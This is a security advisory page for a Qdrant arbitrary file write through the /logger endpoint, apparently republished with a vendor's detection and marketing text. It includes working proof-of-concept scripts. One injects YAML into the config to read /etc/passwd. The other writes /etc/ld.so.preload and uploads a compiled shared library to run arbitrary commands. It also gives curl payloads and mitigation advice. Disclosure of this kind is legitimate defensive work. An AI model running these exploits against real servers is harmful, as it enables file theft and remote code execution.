GHSA-f632-vm87-2m2f
HIGHqdrant has arbitrary file write via `/logger` endpoint
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
qdrantReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5
Details
POST /logger
(Source code link)
endpoint accepts an attacker-controlled on_disk.log_file path.
There are no authorization checks (but authentication check is present).
This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.
After running the PoC, the content of config/local.yaml will be:
2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
static_content_dir: ..
2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
Some junk log lines are present, but they don't matter as this is still valid yaml.
After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.
Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).
Relevant requests:
- Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
-H "Content-Type: application/json" \
-d '{
"log_level":"INFO",
"on_disk":{
"enabled":true,
"format":"text",
"log_level":"INFO",
"buffer_size_bytes":1,
"log_file":"config/local.yaml"
}
}'
- Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
-H "Content-Type: application/json" \
-d '{}'
Full reproduction instructions
- Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
- Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
- Restart the container:
sudo docker restart qdrant-poc
- Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...
Mitigation
- Limit usage of
/loggerendpoint to users with management privileges only (or better disable it completely). - Restrict the path of the log file to a dedicated logs directory.
This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.
Exploit code
exploit_privesc.py
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "config/local.yaml",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.patch(
f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
print("[+] Log injection successful")
else:
print(f"[-] Error: {error}")
sys.exit(1)
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
exploit_rce.py
import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()
assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unlink("/etc/ld.so.preload");
system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
with open(f"{tmpdir}/cmd_code.c", "w") as f:
f.write(so_code)
os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "/etc/ld.so.preload",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
Impact
Remote code execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | qdrant | ≥ 1.9.3&&< 1.15.6 | 1.15.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for qdrant. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update qdrant to 1.15.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f632-vm87-2m2f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f632-vm87-2m2f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f632-vm87-2m2f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f632-vm87-2m2f in your dependencies?
O3 detects GHSA-f632-vm87-2m2f across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.